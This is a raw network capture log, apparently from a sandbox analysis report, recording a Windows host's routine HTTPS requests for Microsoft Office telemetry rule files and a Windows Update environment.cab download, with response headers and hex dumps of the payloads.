2024-12-07 23:49:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:02 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 15e9867f-c01e-0046-5804-482db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234902Z-r1cf579d778mvsklhC1EWRkavg000000040g000000004vd6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:02 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:03 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:03 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3c0425b1-401e-0047-7c03-488597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234903Z-r1cf579d778x776bhC1EWRdk8000000003v00000000022bh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:03 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:03 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:04 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: deed8991-301e-0033-2005-48fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234904Z-r1cf579d778g2t6ghC1EWRfggs000000039g000000000frw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:04 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:04 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:04 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 123741ec-101e-008d-5b05-4892e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234904Z-r1cf579d778v97q7hC1EWRf95c00000003dg0000000038qf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:04 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:04 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:04 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 94f5badb-301e-0000-7603-48eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234904Z-r1cf579d778w59f9hC1EWRze6w000000041g00000000371h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:04 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:04 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:04 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5f90aa43-701e-0097-6403-48b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234904Z-r1cf579d77867vg8hC1EWR8knc00000003k0000000006cds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:04 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.7	49846	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:05 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7bgLlHXmrbbZo3x&MD=8UnrH6tA HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-07 23:49:06 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 5b1b3f26-ee56-4e6f-8d80-41f810825bca MS-RequestId: e82aec41-79c3-4df5-aed8-24b59e56eef1 MS-CV: HtkPVDOH9kSBSqr0.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 07 Dec 2024 23:49:05 GMT Connection: close Content-Length: 30005
2024-12-07 23:49:06 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-07 23:49:06 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:05 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:06 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:06 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: a762f06e-601e-0084-7004-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234906Z-r1cf579d778xr2r4hC1EWRqvfs00000003tg00000000504p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:06 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:06 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:06 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:06 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: c22706de-601e-00ab-7503-4866f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234906Z-r1cf579d778g2t6ghC1EWRfggs000000032g000000008uhx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:06 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:06 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:06 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:06 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 2d97fd60-e01e-000c-7b06-488e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234906Z-r1cf579d778mvsklhC1EWRkavg000000040000000000658n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:06 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:06 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:06 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:06 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 22947e51-b01e-0021-7203-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234906Z-r1cf579d778v97q7hC1EWRf95c00000003f0000000001s7p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:06 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:06 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
